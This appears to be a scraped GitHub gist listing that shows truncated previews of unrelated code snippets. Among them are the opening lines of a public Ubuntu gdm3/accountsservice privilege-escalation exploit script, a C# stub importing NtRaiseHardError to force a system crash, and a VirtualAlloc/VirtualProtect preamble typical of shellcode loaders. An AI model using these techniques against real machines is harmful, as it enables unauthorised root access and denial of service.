This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- | |
We will assume that our database has a table, which looks as follows: | |
| ID | Name | Age | Address | | |
|¯¯¯¯|¯¯¯¯¯¯|¯¯¯¯¯|¯¯¯¯¯¯¯¯¯| | |
| .. | .. | ... | ... | | |
--> | |
<?php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// <summary> | |
/// Dumps the given byte array as hexadecimal text viewer | |
/// </summary> | |
/// <param name="value">Byte array to be dumped</param> | |
public static void HexDump(this byte[] value) | |
{ | |
if ((value?.Length ?? 0) == 0) | |
return; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#define null 0 | |
#define true 1 | |
#define false 0 | |
// Der Typ des gespeicherten Wertes | |
#define valuetype unsigned int | |
// ein Listenknoten |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using using System.Runtime.InteropServices; | |
public static unsafe class HardError | |
{ | |
[DllImport("ntdll.dll")] | |
private static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool _); | |
[DllImport("ntdll.dll")] | |
private static extern int NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, void* Parameters, uint ValidResponseOption, out uint _); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Runtime.InteropServices; | |
using System; | |
public static unsafe class Program | |
{ | |
[DllImport("kernel32.dll")] | |
private static extern void* VirtualAlloc(void* addr, int size, int type, int protect); | |
[DllImport("kernel32.dll")] | |
private static extern bool VirtualProtect(void* addr, int size, int new_protect, int* old_protect); | |
[DllImport("kernel32.dll")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
namespace BlackScholes | |
{ | |
public enum OptionType { Put, Call } | |
public static class BlackSholes | |
{ | |
/* The Black and Scholes (1973) Stock option formula | |
* C# Implementation |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | |
cd ~ | |
PAM=~/.pam_environment | |
if [ -f "$PAM" ]; then | |
mv "$PAM" "$PAM~backup" | |
fi | |
ln -s /dev/zero "$PAM" | |
echo "PLEASE GO TO 'Settings > Region & Language' AND TRY CHANGING THE LANGUAGE." | |
echo "THE UI WILL FREEZE. YOUR CPU MIGHT GET ANGRY. IGNORE BOTH. GO BACK TO THIS TERMINAL." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use this include if you have a class with const members and have | |
// trouble using the assign or copy constructor. Thank me later. | |
// | |
// Example: | |
// class A { | |
// const int X, Y; | |
// | |
// A() : A(0, 0) { } | |
// A(int x, int y) : X(x), Y(y) { } | |
// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project Sdk="Microsoft.NET.Sdk"> | |
<PropertyGroup> | |
<TargetFramework>net8.0</TargetFramework> | |
<LangVersion>preview</LangVersion> | |
<EnablePreviewFeatures>True</EnablePreviewFeatures> | |
<!-- <GenerateRequiresPreviewFeaturesAttribute>False</GenerateRequiresPreviewFeaturesAttribute> --> | |
<Nullable>enable</Nullable> | |
<NullableContextOptions>enable</NullableContextOptions> | |
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace unknown6656___init_block | |
{ | |
struct __empty {}; | |
template <class F> | |
inline decltype(auto) operator+(__empty, F&& f) noexcept | |
{ | |
return std::forward<F>(f)(); | |
} | |
} |
OlderNewer